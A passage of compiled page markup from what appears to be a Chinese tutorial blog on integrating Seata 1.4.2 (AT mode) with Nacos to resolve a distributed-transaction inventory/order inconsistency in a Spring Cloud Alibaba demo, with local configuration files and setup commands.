comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("99")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("可以看到,此时商品数据表中,id为1001的商品库存数量由100变成了99,减少了1个库存数量。")]),s._v(" "),a("p",[s._v("(3)查看订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查看订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("p",[s._v("综上,在下单扣减库存的业务逻辑中,在订单微服务中扣减完商品库存后,抛出了异常,导致商品库存被扣减了。但是,订单数据却没有写入到数据库中,出现了分布式事务问题。接下来,我们就在项目中整合Seata来解决分布式事务问题。")]),s._v(" "),a("h2",{attrs:{id:"搭建并整合seata"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#搭建并整合seata"}},[s._v("#")]),s._v(" 搭建并整合Seata")]),s._v(" "),a("p",[s._v("接下来,我们就正式在项目中整合Seata来实现分布式事务。这里,我们主要整合Seata的AT模式。")]),s._v(" "),a("h3",{attrs:{id:"搭建seata基础环境"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#搭建seata基础环境"}},[s._v("#")]),s._v(" 搭建Seata基础环境")]),s._v(" "),a("p",[s._v("(1)到"),a("a",{attrs:{href:"https://github.com/seata/seata/releases/tag/v1.4.2",target:"_blank",rel:"noopener noreferrer"}},[s._v("https://github.com/seata/seata/releases/tag/v1.4.2"),a("OutboundLink")],1),s._v("链接下载Seata的安装包和源码,这里,下载的是1.4.2版本,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-002.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这里我下载的都是zip压缩文件。")]),s._v(" "),a("p",[s._v("(2)进入Nacos,选择的命名空间,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-003.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击新建命名空间,并填写Seata相关的信息,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-004.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,这里我填写的信息如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("命名空间ID:seata_namespace_001,如果不填的话Nacos会自动生成命名空间的ID。")]),s._v(" "),a("li",[s._v("命名空间名:seata。")]),s._v(" "),a("li",[s._v("描述:seata的命名空间。")])]),s._v(" "),a("p",[a("strong",[s._v("这里,需要记录下命名空间的ID:seata_namespace_001,在后面的配置中会使用到。")])]),s._v(" "),a("p",[s._v("点击确定后如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-005.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,这里为Seata在Nacos中创建了命名空间。")]),s._v(" "),a("p",[s._v("(3)解压Seata安装文件,进入解压后的"),a("code",[s._v("seata/seata-server-1.4.2/conf")]),s._v("目录,修改"),a("code",[s._v("registry.conf")]),s._v("注册文件,修改后的部分文件内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("registry "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# file 、nacos 、eureka、redis、zk、consul、etcd3、sofa")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n\n nacos "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n application "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seata-server"')]),s._v("\n serverAddr "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:8848"')]),s._v("\n group "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SEATA_GROUP"')]),s._v("\n namespace "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seata_namespace_001"')]),s._v("\n cluster "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"default"')]),s._v("\n username "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n password "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\nconfig "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# file、nacos 、apollo、zk、consul、etcd3")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n\n nacos "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n serverAddr "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:8848"')]),s._v("\n namespace "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seata_namespace_001"')]),s._v("\n group "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SEATA_GROUP"')]),s._v("\n username "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n password "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"nacos"')]),s._v("\n dataId "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"seataServer.properties"')]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br")])]),a("p",[s._v("其中,namespace的值就是在Nacos中配置的Seata的命名空间ID:seata_namespace_001。")]),s._v(" "),a("p",[a("strong",[s._v("注意:这里只列出了修改的部分内容,完整的registry.conf文件可以到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下获取。")])]),s._v(" "),a("p",[s._v("(4)修改Seata安装文件的"),a("code",[s._v("seata/seata-server-1.4.2/conf")]),s._v("目录下的file.conf文件,修改后的部分配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("store "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n mode "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"db"')]),s._v("\n publicKey "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n db "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n datasource "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"druid"')]),s._v("\n dbType "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"mysql"')]),s._v("\n driverClassName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"com.mysql.jdbc.Driver"')]),s._v("\n url "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"jdbc:mysql://127.0.0.1:3306/seata?useSSL=false&useUnicode=true&characterEncoding=utf-8&allowMultiQueries=true&serverTimezone=Asia/Shanghai"')]),s._v("\n user "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"root"')]),s._v("\n password "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"root"')]),s._v("\n minConn "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),s._v("\n maxConn "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v("\n globalTable "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"global_table"')]),s._v("\n branchTable "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"branch_table"')]),s._v("\n lockTable "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"lock_table"')]),s._v("\n queryLimit "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v("\n maxWait "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br")])]),a("p",[a("strong",[s._v("注意:这里只列出了修改的部分内容,完整的file.conf文件可以到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下获取。")])]),s._v(" "),a("p",[s._v("(5)在下载的Seata源码的"),a("code",[s._v("seata-1.4.2/script/config-center")]),s._v("目录下找到config.txt文件,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-006.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("将其复制到Seata安装包解压的根目录下,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-007.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("接下来,修改Seata安装包解压的根目录下的config.txt文件,这里还是只列出修改的部分,如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("service.vgroupMapping.server-order-tx_group"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("default\nservice.vgroupMapping.server-product-tx_group"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("default\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.mode")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("db\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.publicKey")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.datasource")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("druid\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.dbType")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("mysql\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.driverClassName")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("com.mysql.jdbc.Driver\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.url")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("jdbc:mysql://127.0.0.1:3306/seata?useSSL"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("false"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("useUnicode")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("characterEncoding")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("utf-8"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("allowMultiQueries")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("serverTimezone")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("Asia/Shanghai\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.user")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("root\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.db.password")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("root\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.redis.sentinel.masterName")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.redis.sentinel.sentinelHosts")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("store.redis.password")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br")])]),a("p",[a("strong",[s._v('注意:在config.txt中,部分配置的等号“=”后面为空,需要在等号“=“后面添加空字符串""。同样的,小伙伴们可以到项目的'),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下获取完整的config.txt文件。")])]),s._v(" "),a("p",[s._v("(6)在下载的Seata源码的"),a("code",[s._v("seata-1.4.2/script/config-center/nacos")]),s._v("目录下找到nacos-config.sh文件,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-008.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("将nacos-config.sh文件复制到Seata安装文件解压目录的"),a("code",[s._v("seata/seata-server-1.4.2/scripts")]),s._v("目录下,其中scripts目录需要手动创建,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-009.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(7).sh文件是Linux操作系统上的脚本文件,如果想在Windows操作系统上运行.sh文件,可以在Windows操作系统上安装Git后在运行.sh文件。")]),s._v(" "),a("p",[s._v("接下来,在Git的Bash命令行进入Seata安装文件中nacos-config.sh文件所在的目录,执行如下命令。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token function"}},[s._v("sh")]),s._v(" nacos-config.sh "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-h")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1 "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-p")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-g")]),s._v(" SEATA_GROUP "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-t")]),s._v(" seata_namespace_001 "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-u")]),s._v(" nacos "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-w")]),s._v(" nacos\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("其中,命令中的每个参数含义如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("-h:Nacos所在的IP地址。")]),s._v(" "),a("li",[s._v("-p:Nacos的端口号。")]),s._v(" "),a("li",[s._v("-g:分组。")]),s._v(" "),a("li",[s._v("-t:命名空间的ID,这里我们填写在Nacos中创建的命名空间的ID:seata_namespace_001。如果不填,默认是public命名空间。")]),s._v(" "),a("li",[s._v("-u:Nacos的用户名。")]),s._v(" "),a("li",[s._v("-w:Nacos的密码。")])]),s._v(" "),a("p",[s._v("执行命令后的结果信息如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),a("span",{pre:!0,attrs:{class:"token 